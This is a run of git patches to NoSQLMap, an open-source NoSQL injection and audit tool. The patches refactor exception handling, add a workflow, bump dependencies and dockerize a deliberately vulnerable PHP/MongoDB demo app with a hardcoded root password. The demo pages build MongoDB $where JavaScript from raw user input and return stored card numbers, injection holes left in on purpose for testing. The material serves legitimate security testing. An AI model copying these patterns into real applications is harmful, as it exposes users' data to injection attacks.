--- a/nsmweb.py
+++ b/nsmweb.py
@@ -3,6 +3,7 @@
 # See the file 'doc/COPYING' for copying permission
 
 
+from exception import NoSQLMapException
 import urllib
 import urllib2
 import string
@@ -106,7 +107,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None):
 
         else:
             print "Got " + str(appRespCode) + "from the app, check your options."
-    except Exception,e:
+    except NoSQLMapException,e:
         print e
         print "Looks like the server didn't respond.  Check your options."
 
@@ -445,7 +446,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args = None)
         else:
             print "Got " + str(appRespCode) + "from the app, check your options."
 
-    except Exception,e:
+    except NoSQLMapException,e:
         print e
         print "Looks like the server didn't respond.  Check your options."
 
@@ -464,7 +465,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args = None)
                 injIndex = int(args.injectedParameter)
             injOpt = str(postData.keys()[int(injIndex)-1])
             print "Injecting the " + injOpt + " parameter..."
-        except:
+        except NoSQLMapException:
             if args == None:
                 raw_input("Something went wrong.  Press enter to return to the main menu...")
             return
@@ -909,7 +910,7 @@ def buildUri(origUri, randValue, args=None):
         split_uri = origUri.split("?")
         params = split_uri[1].split("&")
 
-    except:
+    except NoSQLMapException:
         raw_input("Not able to parse the URL and parameters.  Check options settings.  Press enter to return to main menu...")
         return
 
@@ -938,7 +939,7 @@ def buildUri(origUri, randValue, args=None):
         for params in injOpt:
             print "Injecting the " + params + " parameter..."
 
-    except Exception:
+    except NoSQLMapException:
         raw_input("Something went wrong.  Press enter to return to the main menu...")
         return
 

From 24370604af4f863a006291541f890cf3ab08a1e1 Mon Sep 17 00:00:00 2001
From: Michael Skelton <codingo@protonmail.com>
Date: Fri, 10 Apr 2020 08:27:55 +1000
Subject: [PATCH 64/68] Create stale.yml

---
 .github/workflows/stale.yml | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)
 create mode 100644 .github/workflows/stale.yml

diff --git a/.github/workflows/stale.yml b/.github/workflows/stale.yml
new file mode 100644
index 0000000..7bbc050
--- /dev/null
+++ b/.github/workflows/stale.yml
@@ -0,0 +1,19 @@
+name: Mark stale issues and pull requests
+
+on:
+  schedule:
+  - cron: "0 0 * * *"
+
+jobs:
+  stale:
+
+    runs-on: ubuntu-latest
+
+    steps:
+    - uses: actions/stale@v1
+      with:
+        repo-token: ${{ secrets.GITHUB_TOKEN }}
+        stale-issue-message: 'Stale issue message'
+        stale-pr-message: 'Stale pull request message'
+        stale-issue-label: 'no-issue-activity'
+        stale-pr-label: 'no-pr-activity'

From a7cba24a58ca2d239fc8d63cf4133f1c3007c3a0 Mon Sep 17 00:00:00 2001
From: Kert Ojasoo <kert.ojasoo@rangeforce.com>
Date: Wed, 15 Apr 2020 13:24:20 +0300
Subject: [PATCH 65/68] Added exception.py to setuptools script

---
 setup.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup.py b/setup.py
index aab887a..a5c3613 100644
--- a/setup.py
+++ b/setup.py
@@ -6,7 +6,7 @@
 			name = "NoSQLMap",
 			version = "0.7",
 			packages = find_packages(),
-			scripts = ['nosqlmap.py', 'nsmmongo.py', 'nsmcouch.py','nsmscan.py','nsmweb.py'],
+			scripts = ['nosqlmap.py', 'nsmmongo.py', 'nsmcouch.py', 'nsmscan.py', 'nsmweb.py', 'exception.py'],
 			
 			entry_points = {
 				"console_scripts": [

From 693b85d5a6c8b45de7d4f277365fcef3853bd52e Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Mon, 8 Feb 2021 20:16:09 +0000
Subject: [PATCH 66/68] Bump httplib2 from 0.9 to 0.19.0

Bumps [httplib2](https://github.com/httplib2/httplib2) from 0.9 to 0.19.0.
- [Release notes](https://github.com/httplib2/httplib2/releases)
- [Changelog](https://github.com/httplib2/httplib2/blob/master/CHANGELOG)
- [Commits](https://github.com/httplib2/httplib2/compare/0.9...v0.19.0)

Signed-off-by: dependabot[bot] <support@github.com>
---
 setup.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup.py b/setup.py
index a5c3613..b3503f3 100644
--- a/setup.py
+++ b/setup.py
@@ -14,7 +14,7 @@
 					]
 				},
 			
-			install_requires = [ "CouchDB==1.0", "httplib2==0.9", "ipcalc==1.1.3",\
+			install_requires = [ "CouchDB==1.0", "httplib2==0.19.0", "ipcalc==1.1.3",\
 								 "NoSQLMap==0.7", "pbkdf2==1.3", "pymongo==2.7.2",\
 								 "requests==2.20.0"],
 	

From a32e49c042748e9d5d27c3ab36de1512e28ee527 Mon Sep 17 00:00:00 2001
From: Harry Crawford <harry.crawford789@hotmail.co.uk>
Date: Fri, 7 Oct 2022 18:25:07 +0200
Subject: [PATCH 67/68] Dockerized the included vulnerable application to make
 running on the local machine easier. Also updated the README.md file to
 provide instructions on use.

---
 README.md                                | 57 +++++++++++++++++-------
 vuln_apps/acct.php                       | 39 ----------------
 vuln_apps/cust.html                      | 21 ---------
 vuln_apps/docker-compose.yml             | 27 +++++++++++
 vuln_apps/docker/apache/Dockerfile       |  6 +++
 vuln_apps/docker/apache/apache.conf      | 16 +++++++
 vuln_apps/docker/mongo/Dockerfile        |  5 +++
 vuln_apps/docker/mongo/import.sh         |  2 +
 vuln_apps/{ => docker/mongo}/mongo.nosql |  2 -
 vuln_apps/docker/php/Dockerfile          | 13 ++++++
 vuln_apps/orderdata.php                  | 51 ---------------------
 vuln_apps/src/acct.php                   | 42 +++++++++++++++++
 vuln_apps/src/index.html                 | 17 +++++++
 vuln_apps/src/orderdata.php              | 49 ++++++++++++++++++++
 vuln_apps/{ => src}/populate_db.php      |  2 +-
 vuln_apps/src/userdata.php               | 48 ++++++++++++++++++++
 vuln_apps/userdata.php                   | 50 ---------------------
 17 files changed, 266 insertions(+), 181 deletions(-)
 delete mode 100644 vuln_apps/acct.php
 delete mode 100644 vuln_apps/cust.html
 create mode 100644 vuln_apps/docker-compose.yml
 create mode 100644 vuln_apps/docker/apache/Dockerfile
 create mode 100644 vuln_apps/docker/apache/apache.conf
 create mode 100644 vuln_apps/docker/mongo/Dockerfile
 create mode 100644 vuln_apps/docker/mongo/import.sh
 rename vuln_apps/{ => docker/mongo}/mongo.nosql (99%)
 create mode 100644 vuln_apps/docker/php/Dockerfile
 delete mode 100644 vuln_apps/orderdata.php
 create mode 100644 vuln_apps/src/acct.php
 create mode 100644 vuln_apps/src/index.html
 create mode 100644 vuln_apps/src/orderdata.php
 rename vuln_apps/{ => src}/populate_db.php (99%)
 create mode 100644 vuln_apps/src/userdata.php
 delete mode 100644 vuln_apps/userdata.php

diff --git a/README.md b/README.md
index 6841632..50abb20 100644
--- a/README.md
+++ b/README.md
@@ -1,61 +1,73 @@
-NoSQLMap 
-========
-[![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) 
+# NoSQLMap
+
+[![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/)
 [![License](https://img.shields.io/badge/license-GPLv3-red.svg)](https://github.com/codingo/NoSQLMap/blob/master/COPYING)
 [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_)
 
 NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database.
 
-Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf).
-
+Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo\_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf).
 
 ## NoSQLMap MongoDB Management Attack Demo.
 
-<a href="http://www.youtube.com/watch?feature=player_embedded&v=xSFi-jxOBwM" target="_blank"><img src="http://img.youtube.com/vi/xSFi-jxOBwM/0.jpg" alt="NoSQLMap MongoDB Management Attack Demo" width="240" height="180" border="10" /></a> 
+<a href="http://www.youtube.com/watch?feature=player_embedded&v=xSFi-jxOBwM" target="_blank"><img src="http://img.youtube.com/vi/xSFi-jxOBwM/0.jpg" alt="NoSQLMap MongoDB Management Attack Demo" width="240" height="180" border="10" /></a>
 
 ## Screenshots
+
 ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg)
 
 # Summary
+
 ## What is NoSQL?
+
 A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages.
 
 ## DBMS Support
+
 Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as Redis, and Cassandra are planned in future releases.
 
-## Requirements 
-On a Debian or Red Hat based system, the setup.sh script may be run as root to automate the installation of NoSQLMap's dependencies.  
+## Requirements
+
+On a Debian or Red Hat based system, the setup.sh script may be run as root to automate the installation of NoSQLMap's dependencies.
 
 Varies based on features used:
-- Metasploit Framework,
-- Python with PyMongo, 
-- httplib2, 
-- and urllib available.
-- A local, default MongoDB instance for cloning databases to.  Check [here](http://docs.mongodb.org/manual/installation/) for installation instructions.
 
-There are some various other libraries required that a normal Python installation should have readily available. Your milage may vary, check the script.  
+-   Metasploit Framework,
+-   Python with PyMongo,
+-   httplib2,
+-   and urllib available.
+-   A local, default MongoDB instance for cloning databases to. Check [here](http://docs.mongodb.org/manual/installation/) for installation instructions.
+
+There are some various other libraries required that a normal Python installation should have readily available. Your milage may vary, check the script.
 
 ## Setup
+
 ```
 python setup.py install
 ```
+
 Alternatively you can build a Docker image by changing to the docker directory and entering:
+
 ```
 docker build -t nosqlmap .
 ```
 
 or you can use Docker-compose to run Nosqlmap:
+
 ```
 docker-compose build
 docker-compose run nosqlmap
 ```
+
 ## Usage Instructions
+
 Start with
+
 ```
 python NoSQLMap
 ```
 
-NoSQLMap uses a menu based system for building attacks.  Upon starting NoSQLMap you are presented with with the main menu:
+NoSQLMap uses a menu based system for building attacks. Upon starting NoSQLMap you are presented with with the main menu:
 
 ```
 1-Set options (do this first)
@@ -66,11 +78,12 @@ x-Exit
 ```
 
 Explanation of options:
+
 ```
 1. Set target host/IP-The target web server (i.e. www.google.com) or MongoDB server you want to attack.
 2. Set web app port-TCP port for the web application if a web application is the target.
 3. Set URI Path-The portion of the URI containing the page name and any parameters but NOT the host name (e.g. /app/acct.php?acctid=102).
-4. Set HTTP Request Method (GET/POST)-Set the request method to a GET or POST; Presently only GET is implemented but working on implementing POST requests exported from Burp. 
+4. Set HTTP Request Method (GET/POST)-Set the request method to a GET or POST; Presently only GET is implemented but working on implementing POST requests exported from Burp.
 5. Set my local Mongo/Shell IP-Set this option if attacking a MongoDB instance directly to the IP of a target Mongo installation to clone victim databases to or open Meterpreter shells to.
 6. Set shell listener port-If opening Meterpreter shells, specify the port.
 7. Load options file-Load a previously saved set of settings for 1-6.
@@ -79,4 +92,14 @@ Explanation of options:
 x. Back to main menu-Use this once the options are set to start your attacks.
 ```
 
-Once options are set head back to the main menu and select DB access attacks or web app attacks as appropriate for whether you are attacking a NoSQL management port or web application. The rest of the tool is "wizard" based and fairly self explanatory, but send emails to codingo@protonmail.com or find me on Twitter [@codingo_](https://twitter.com/codingo_) if you have any questions or suggestions. 
+Once options are set head back to the main menu and select DB access attacks or web app attacks as appropriate for whether you are attacking a NoSQL management port or web application. The rest of the tool is "wizard" based and fairly self explanatory, but send emails to codingo@protonmail.com or find me on Twitter [@codingo\_](https://twitter.com/codingo_) if you have any questions or suggestions.
+
+## Vulnerable Applications
+
+This repo also includes an intentionally vulnerable web application to test NoSQLMap with. To run this application, you need Docker installed. Then you can run the following commands from the /vuln_apps directory.
+
+```
+docker-compose build && docker-compose up
+```
+
+Once that is complete, you should be able to access the vulnerable application by visiting: https://127.0.0.1/index.html
diff --git a/vuln_apps/acct.php b/vuln_apps/acct.php
deleted file mode 100644
index c03feef..0000000
--- a/vuln_apps/acct.php
+++ /dev/null
@@ -1,39 +0,0 @@
-<html>
-<head>
-<title>Payment information</title>
-</head>
-<body>
-<?php
-try {
-	$conn = new MongoClient();
-	$db = $conn->customers;
-	$collection = $db->paymentinfo;
-	$search = $_GET['acctid'];
-//	$criteria = array('id' => $search);
-//	$fields = array('name','id','cc','cvv2');
-	
-	
-	$cursor = $collection->find(array('id' => $search));
-	
-//	echo $search;
-	echo $cursor->count() . ' document(s) found. <br/>';
-
-	foreach ($cursor as $obj) {
-		echo 'Name: ' . $obj['name'] . '<br/>';
-		echo 'Customer ID: ' . $obj['id'] . '<br/>';
-		echo 'Card Number: ' . $obj['cc'] . '<br/>';
-		echo 'CVV2 Code: ' . $obj['cvv2'] . '<br/>';
-		echo '<br/>';
-	}
-	
-$conn->close();
-} catch (MongoConnectionException $e) {
-	die('Error connecting to MongoDB server : ' . $e->getMessage());
-} catch (MongoException $e) {
-	die('Error: ' . $e->getMessage());
-}
-?>
-	
-
-</body>
-</html>
\ No newline at end of file
diff --git a/vuln_apps/cust.html b/vuln_apps/cust.html
deleted file mode 100644
index ed80d22..0000000
--- a/vuln_apps/cust.html
+++ /dev/null
@@ -1,21 +0,0 @@
-<html>
-<head>
-<title>Customer Info</title>
-</head>
-
-<body>
-<h1>Customer Information</h1>
-<h3>Enter your customer ID to show your account information:</h3>
-
-<form method = "get"
-		action = "acct.php">
-Customer ID:
-<input type = "text"
-		 name = "acctid"
-		 value="">
-<br>
-<input type="submit">
-</form>
-
-</body>
-</html>
\ No newline at end of file
diff --git a/vuln_apps/docker-compose.yml b/vuln_apps/docker-compose.yml
new file mode 100644
index 0000000..468c294
--- /dev/null
+++ b/vuln_apps/docker-compose.yml
@@ -0,0 +1,27 @@
+version: "3.8"
+services:
+    apache:
+        container_name: apache
+        build: ./docker/apache
+        links:
+            - php
+        ports:
+            - "80:80"
+        volumes:
+            - ./src:/usr/local/apache2/htdocs
+    php:
+        container_name: php
+        build: ./docker/php
+        ports:
+            - "9000:9000"
+        volumes:
+            - ./src:/usr/local/apache2/htdocs
+        working_dir: /usr/local/apache2/htdocs
+    mongo:
+        container_name: mongo
+        environment:
+            MONGO_INITDB_ROOT_USERNAME: root
+            MONGO_INITDB_ROOT_PASSWORD: prisma
+        build: ./docker/mongo
+        ports:
+            - "27017:27017"
diff --git a/vuln_apps/docker/apache/Dockerfile b/vuln_apps/docker/apache/Dockerfile
new file mode 100644
index 0000000..9562989
--- /dev/null
+++ b/vuln_apps/docker/apache/Dockerfile
@@ -0,0 +1,6 @@
+FROM httpd:2.4.51
+
+COPY apache.conf /usr/local/apache2/conf/apache.conf
+
+RUN echo "Include /usr/local/apache2/conf/apache.conf" \
+    >> /usr/local/apache2/conf/httpd.conf
\ No newline at end of file
diff --git a/vuln_apps/docker/apache/apache.conf b/vuln_apps/docker/apache/apache.conf
new file mode 100644
index 0000000..76f67dd
--- /dev/null
+++ b/vuln_apps/docker/apache/apache.conf
@@ -0,0 +1,16 @@
+LoadModule deflate_module /usr/local/apache2/modules/mod_deflate.so
+LoadModule proxy_module /usr/local/apache2/modules/mod_proxy.so
+LoadModule proxy_fcgi_module /usr/local/apache2/modules/mod_proxy_fcgi.so
+
+<VirtualHost *:80>
+	ProxyPassMatch ^/(.*\.php(/.*)?)$ fcgi://php:9000/usr/local/apache2/htdocs/$1
+
+	DocumentRoot /usr/local/apache2/htdocs
+
+	<Directory /usr/local/apache2/htdocs>
+		Options -Indexes +FollowSymLinks
+		DirectoryIndex index.php
+		AllowOverride All
+		Require all granted
+	</Directory>
+</VirtualHost>
\ No newline at end of file
diff --git a/vuln_apps/docker/mongo/Dockerfile b/vuln_apps/docker/mongo/Dockerfile
new file mode 100644
index 0000000..6920c0c
--- /dev/null
+++ b/vuln_apps/docker/mongo/Dockerfile
@@ -0,0 +1,5 @@
+FROM mongo:latest
+
+ADD ./mongo.nosql /tmp/mongo.nosql
+ADD ./import.sh /tmp/import.sh
+RUN chmod +x /tmp/import.sh
diff --git a/vuln_apps/docker/mongo/import.sh b/vuln_apps/docker/mongo/import.sh
new file mode 100644
index 0000000..a845618
--- /dev/null
+++ b/vuln_apps/docker/mongo/import.sh
@@ -0,0 +1,2 @@
+#!/bin/bash
+cat /tmp/mongo.nosql | mongosh "mongodb://root:prisma@mongo:27017"
\ No newline at end of file
diff --git a/vuln_apps/mongo.nosql b/vuln_apps/docker/mongo/mongo.nosql
similarity index 99%
rename from vuln_apps/mongo.nosql
rename to vuln_apps/docker/mongo/mongo.nosql
index 45bfcbc..577f0ed 100644
--- a/vuln_apps/mongo.nosql
+++ b/vuln_apps/docker/mongo/mongo.nosql
@@ -5,7 +5,6 @@ db.orders.insert({"id":"1","name":"Robin","item":"Music gift cards","quantity":"
 db.orders.insert({"id":"1001","name":"Moses","item":"Miami Heat tickets","quantity":"1000"})
 db.orders.insert({"id":"66","name":"Rick","item":"Black hoodie","quantity":"1"})
 db.orders.insert({"id":"0","name":"Nobody","item":"Nothing","quantity":"0"})
-
 use customers
 db.paymentinfo.insert({"name":"Adrien","id":"42","cc":"5555123456789999","cvv2":"1234"})
 db.paymentinfo.insert({"name":"Justin","id":"99","cc":"5555123456780000","cvv2":"4321"})
@@ -13,7 +12,6 @@ db.paymentinfo.insert({"name":"Robin","id":"1","cc":"3333444455556666","cvv2":"2
 db.paymentinfo.insert({"name":"Moses","id":"2","cc":"4444555566667777","cvv2":"3333"})
 db.paymentinfo.insert({"name":"Rick","id":"3","cc":"5555666677778888","cvv2":"5678"})
 db.paymentinfo.insert({"name":"Nobody","id":"0","cc":"45009876543215555","cvv2":"9999"})
-
 use appUserData
 db.users.insert({"name":"Adrien","username":"adrien","email":"adrien@sec642.org"})
 db.users.insert({"name":"Justin","username":"justin","email":"justin@sec642.org"})
diff --git a/vuln_apps/docker/php/Dockerfile b/vuln_apps/docker/php/Dockerfile
new file mode 100644
index 0000000..a266475
--- /dev/null
+++ b/vuln_apps/docker/php/Dockerfile
@@ -0,0 +1,13 @@
+FROM php:8.1-fpm
+
+RUN mv "$PHP_INI_DIR/php.ini-development" "$PHP_INI_DIR/php.ini"
+RUN echo "extension=mongodb.so" >> "$PHP_INI_DIR/php.ini"
+
+RUN apt-get update \
+    && apt-get install -y libcurl4-openssl-dev pkg-config libssl-dev \
+    && apt-get install -y git zip unzip \
+    && pecl install mongodb \
+    && php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" \
+    && php composer-setup.php --install-dir=/usr/local/bin --filename=composer \
+    && rm composer-setup.php \
+    && composer require mongodb/mongodb
\ No newline at end of file
diff --git a/vuln_apps/orderdata.php b/vuln_apps/orderdata.php
deleted file mode 100644
index 427359f..0000000
--- a/vuln_apps/orderdata.php
+++ /dev/null
@@ -1,51 +0,0 @@
-<!DOCTYPE html>
-
-<html>
-
-<head>
-<title>Order Lookup</title>
-</head>
-
-<body>
-<?php
-	if (isset($_GET['ordersearch']) && !empty($_GET['ordersearch'])) {
-		try {
-      	$result = "";
-       	$conn = new MongoClient('mongodb://127.0.0.1');
-       	$db = $conn->shop;
-		 	$collection = $db->orders;
-		 	$search = $_GET['ordersearch'];
-		 	$js = "function () { var query = '". $search . "'; return this.id == query;}";
-		 	//print $js;
-		 	print '<br/>';
-       
-       	$cursor = $collection->find(array('$where' => $js));
-       	echo $cursor->count() . ' order(s) found. <br/>';
-       
-       	foreach ($cursor as $obj) {
-       		       echo 'Order ID: ' . $obj['id'] . '<br/>';
-       	   	    echo 'Name: ' . $obj['name'] . '<br/>';
-       	      	 echo 'Item: ' . $obj['item'] . '<br/>';
-       	      	 echo 'Quantity: ' . $obj['quantity']. '<br/>';
-       	       	 echo '<br/>';
-       	}
-       
-$conn->close();
-} catch (MongoConnectionException $e) {
-	die('Error connecting to MongoDB server : ' . $e->getMessage());
-} catch (MongoException $e) {
-	die('Error: ' . $e->getMessage());
-}
-}
-?>
-       	       
-       	       
-<b>Use the Order ID to locate your order:</b><br>       	       
-<form method="get" id="usersearch">
-<p>Search <input type="text" name="ordersearch" id="ordersearch" /> <input type="submit" name="submitbutton" value="Submit" /></p>
-</form>
-<div id="results">
-<?php echo $result; ?>
-</div>
-</body>
-</html>
diff --git a/vuln_apps/src/acct.php b/vuln_apps/src/acct.php
new file mode 100644
index 0000000..21725a7
--- /dev/null
+++ b/vuln_apps/src/acct.php
@@ -0,0 +1,42 @@
+<html>
+
+<head>
+	<title>Payment information</title>
+</head>
+
+	<body>
+		<?php
+		try {
+			$conn = new MongoDB\Driver\Manager('mongodb://root:prisma@mongo:27017');
+
+			$options = [
+				'projection' => [],
+			];
+			$filter = ['id' => $_GET['acctid']];
+			$query = new MongoDB\Driver\Query($filter, $options);
+
+			$cursor = $conn->executeQuery('customers.paymentinfo', $query);
+			$counter = 0;
+			
+			foreach ($cursor as $obj) {
+				$counter++;
+				echo 'Name: ' . $obj->name . '<br/>';
+				echo 'Customer ID: ' . $obj->id . '<br/>';
+				echo 'Card Number: ' . $obj->cc . '<br/>';
+				echo 'CVV2 Code: ' . $obj->cvv2 . '<br/>';
+				echo '<br/>';
+			}
+
+			echo $counter . ' document(s) found. <br/>';
+			
+		} catch (MongoConnectionException $e) {
+			die('Error connecting to MongoDB server : ' . $e->getMessage());
+		} catch (MongoException $e) {
+			die('Error: ' . $e->getMessage());
+		}
+		?>
+
+
+	</body>
+
+</html>
\ No newline at end of file
diff --git a/vuln_apps/src/index.html b/vuln_apps/src/index.html
new file mode 100644
index 0000000..62996f1
--- /dev/null
+++ b/vuln_apps/src/index.html
@@ -0,0 +1,17 @@
+<html>
+    <head>
+        <title>Customer Info</title>
+    </head>
+
+    <body>
+        <h1>Customer Information</h1>
+        <h3>Enter your customer ID to show your account information:</h3>
+
+        <form method="get" action="acct.php">
+            Customer ID:
+            <input type="text" name="acctid" value="" />
+            <br />
+            <input type="submit" />
+        </form>
+    </body>
+</html>
diff --git a/vuln_apps/src/orderdata.php b/vuln_apps/src/orderdata.php
new file mode 100644
index 0000000..0430cc2
--- /dev/null
+++ b/vuln_apps/src/orderdata.php
@@ -0,0 +1,49 @@
+<!DOCTYPE html>
+<html>
+	<head>
+		<title>Order Lookup</title>
+	</head>
+	<body>
+		<?php
+		if (isset($_GET['ordersearch']) && !empty($_GET['ordersearch'])) {
+			try {
+				$result = "";
+				$conn = new MongoClient('mongodb://127.0.0.1');
+				$db = $conn->shop;
+					$collection = $db->orders;
+					$search = $_GET['ordersearch'];
+					$js = "function () { var query = '". $search . "'; return this.id == query;}";
+					//print $js;
+					print '<br/>';
+			
+				$cursor = $collection->find(array('$where' => $js));
+				echo $cursor->count() . ' order(s) found. <br/>';
+			
+				foreach ($cursor as $obj) {
+						echo 'Order ID: ' . $obj['id'] . '<br/>';
+						echo 'Name: ' . $obj['name'] . '<br/>';
+						echo 'Item: ' . $obj['item'] . '<br/>';
+						echo 'Quantity: ' . $obj['quantity']. '<br/>';
+						echo '<br/>';
+				}
+				$conn->close();
+			} catch (MongoConnectionException $e) {
+				die('Error connecting to MongoDB server : ' . $e->getMessage());
+			} catch (MongoException $e) {
+				die('Error: ' . $e->getMessage());
+			}
+		}
+		?>
+
+
+		<b>Use the Order ID to locate your order:</b><br>
+		<form method="get" id="usersearch">
+			<p>Search <input type="text" name="ordersearch" id="ordersearch" /> <input type="submit" name="submitbutton"
+					value="Submit" /></p>
+		</form>
+		<div id="results">
+			<?php echo $result; ?>
+		</div>
+	</body>
+
+</html>
\ No newline at end of file
diff --git a/vuln_apps/populate_db.php b/vuln_apps/src/populate_db.php
similarity index 99%
rename from vuln_apps/populate_db.php
rename to vuln_apps/src/populate_db.php
index 44d2576..c058543 100644
--- a/vuln_apps/populate_db.php
+++ b/vuln_apps/src/populate_db.php
@@ -104,4 +104,4 @@
     echo $obj["email"] . "<br>";
 }
 
-?>
+?>
\ No newline at end of file
diff --git a/vuln_apps/src/userdata.php b/vuln_apps/src/userdata.php
new file mode 100644
index 0000000..bf74313
--- /dev/null
+++ b/vuln_apps/src/userdata.php
@@ -0,0 +1,48 @@
+<!DOCTYPE html>
+<html>
+	<head>
+		<title>User Profile Lookup</title>
+	</head>
+	<body>
+		<?php
+		if (isset($_GET['usersearch']) && !empty($_GET['usersearch'])) {
+			try {
+			$result = "";
+			$conn = new MongoClient('mongodb://127.0.0.1');
+			$db = $conn->appUserData;
+				$collection = $db->users;
+				$search = $_GET['usersearch'];
+				$js = "function () { var query = '". $usersearch . "'; return this.username == query;}";
+				print $js;
+				print '<br/>';
+		
+			$cursor = $collection->find(array('$where' => $js));
+			echo $cursor->count() . ' user found. <br/>';
+		
+			foreach ($cursor as $obj) {
+					echo 'Name: ' . $obj['name'] . '<br/>';
+					echo 'Username: ' . $obj['username'] . '<br/>';
+					echo 'Email: ' . $obj['email'] . '<br/>';
+					echo '<br/>';
+			}
+		
+	$conn->close();
+	} catch (MongoConnectionException $e) {
+		die('Error connecting to MongoDB server : ' . $e->getMessage());
+	} catch (MongoException $e) {
+		die('Error: ' . $e->getMessage());
+	}
+	}
+	?>
+
+
+		<b>Enter your username:</b><br>
+		<form method="get" id="usersearch">
+			<p>Search <input type="text" name="usersearch" id="usersearch" /> <input type="submit" name="submitbutton"
+					value="Submit" /></p>
+		</form>
+		<div id="results">
+			<?php echo $result; ?>
+		</div>
+	</body>
+</html>
\ No newline at end of file
diff --git a/vuln_apps/userdata.php b/vuln_apps/userdata.php
deleted file mode 100644
index 0fc8165..0000000
--- a/vuln_apps/userdata.php
+++ /dev/null
@@ -1,50 +0,0 @@
-<!DOCTYPE html>
-
-<html>
-
-<head>
-<title>User Profile Lookup</title>
-</head>
-
-<body>
-<?php
-	if (isset($_GET['usersearch']) && !empty($_GET['usersearch'])) {
-		try {
-      	$result = "";
-       	$conn = new MongoClient('mongodb://127.0.0.1');
-       	$db = $conn->appUserData;
-		 	$collection = $db->users;
-		 	$search = $_GET['usersearch'];
-		 	$js = "function () { var query = '". $usersearch . "'; return this.username == query;}";
-		 	print $js;
-		 	print '<br/>';
-       
-       	$cursor = $collection->find(array('$where' => $js));
-       	echo $cursor->count() . ' user found. <br/>';
-       
-       	foreach ($cursor as $obj) {
-       		       echo 'Name: ' . $obj['name'] . '<br/>';
-       	   	    echo 'Username: ' . $obj['username'] . '<br/>';
-       	      	 echo 'Email: ' . $obj['email'] . '<br/>';
-       	       	 echo '<br/>';
-       	}
-       
-$conn->close();
-} catch (MongoConnectionException $e) {
-	die('Error connecting to MongoDB server : ' . $e->getMessage());
-} catch (MongoException $e) {
-	die('Error: ' . $e->getMessage());
-}
-}
-?>
-       	       
-       	       
-<b>Enter your username:</b><br>       	       
-<form method="get" id="usersearch">
-<p>Search <input type="text" name="usersearch" id="usersearch" /> <input type="submit" name="submitbutton" value="Submit" /></p>
-</form>
-<div id="results">
-<?php echo $result; ?>
-</div>
-</body>
-</html>

From 15aeec1e3daa4eb45d49f663dcdeca5374a8a31c Mon Sep 17 00:00:00 2001
From: Everton Vieira <54176981+gu4xin1m@users.noreply.github.com>
Date: Fri, 29 Sep 2023 00:29:05 -0300
Subject: [PATCH 68/68] Update Dockerfile

Fixing the dependency error. Certifi's last python 2.7 release is 2020.04.5, otherwise the docker run command will raise a error.
---
 docker/Dockerfile | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/docker/Dockerfile b/docker/Dockerfile
index 511d0a8..6ff83f2 100644
--- a/docker/Dockerfile
+++ b/docker/Dockerfile
@@ -10,6 +10,8 @@ WORKDIR /root/NoSqlMap
 
 RUN python setup.py install
 
+RUN python -m pip install requests 'certifi<=2020.4.5.1'
+
 COPY entrypoint.sh /tmp/entrypoint.sh
 RUN chmod +x /tmp/entrypoint.sh
 
